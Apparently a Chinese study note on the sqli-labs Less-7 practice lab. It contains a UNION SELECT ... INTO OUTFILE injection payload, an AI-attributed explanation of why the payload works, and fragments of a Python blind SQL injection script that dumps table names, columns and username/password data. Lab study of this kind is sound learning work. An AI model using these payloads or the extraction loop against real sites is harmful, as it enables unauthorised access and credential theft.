为什么 ?id=-1’)) union select 1,2,table_name from information_schema.tables where table_schema=’security’ into outfile”D:\phpstudy_pro\WWW\sqli-labs\Less-7\4.txt”–+ 而 ?id=-1’)) select table_name from information_schema.tables where table_schema=’security’ into outfile”D:\phpstudy_pro\WWW\sqli-labs\Less-7\4.txt”–+ 不生效
KIMI:
为什么UNION SELECT是关键? UNION SELECT的作用是把两个查询的结果合并在一起,而不是直接替换原始查询。它要求两个查询的列数和数据类型匹配,但只要满足这些条件,就能让注入的语句与原始查询兼容。而直接的SELECT语句没有这种兼容性,直接破坏了原始查询的结构,导致语法错误。 数据库的执行逻辑决定了这一切 数据库在解析SQL语句时,会严格按照语法规则执行。如果注入的语句破坏了原始查询的结构,数据库会报错。这种报错可能不会直接显示给用户,但会导致注入失败。第一个语句通过UNION SELECT与原始查询兼容,所以能成功;第二个语句直接破坏了原始查询的语法,所以失败。 权限和路径不是问题 INTO OUTFILE操作需要数据库户具有FILE权限,而且目标路径必须有效。但既然第一个语句已经成功,说明权限和路径都没有问题。第二个语句失败的原因完全在于语法错误,而不是权限或路径。
table_count = 0 whileTrue: payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())={table_count}" response = send_payload(payload) if TRUE_STRING in response: break table_count += 1 print(f"[+] 表数量: {table_count}")
table_names = [] for i inrange(table_count): tbl_length = get_length(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)") tbl_name = get_string(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)", tbl_length) table_names.append(tbl_name) print(f"[+] 表名: {tbl_name}")
target_table = "users" print(f"[+] 获取{target_table}表的字段...") field_count = 0 whileTrue: payload = f"(SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE())={field_count}" response = send_payload(payload) if TRUE_STRING in response: break field_count += 1 print(f"[+] 字段数量: {field_count}")
field_names = [] for i inrange(field_count): fld_length = get_length(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)") fld_name = get_string(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)", fld_length) field_names.append(fld_name) print(f"[+] 字段名: {fld_name}")
print(f"[+] 获取{target_table}表的数据...") for i inrange(field_count): if field_names[i] in ["username", "password"]: print(f"[+] 获取字段: {field_names[i]}") data_count = 0 whileTrue: payload = f"(SELECT COUNT(*) FROM {target_table})={data_count}" response = send_payload(payload) if TRUE_STRING in response: break data_count += 1 print(f"[+] 数据条数: {data_count}")
for j inrange(data_count): data_length = get_length(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)") data = get_string(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)", data_length) print(f"[+] 数据[{j+1}]: {data}")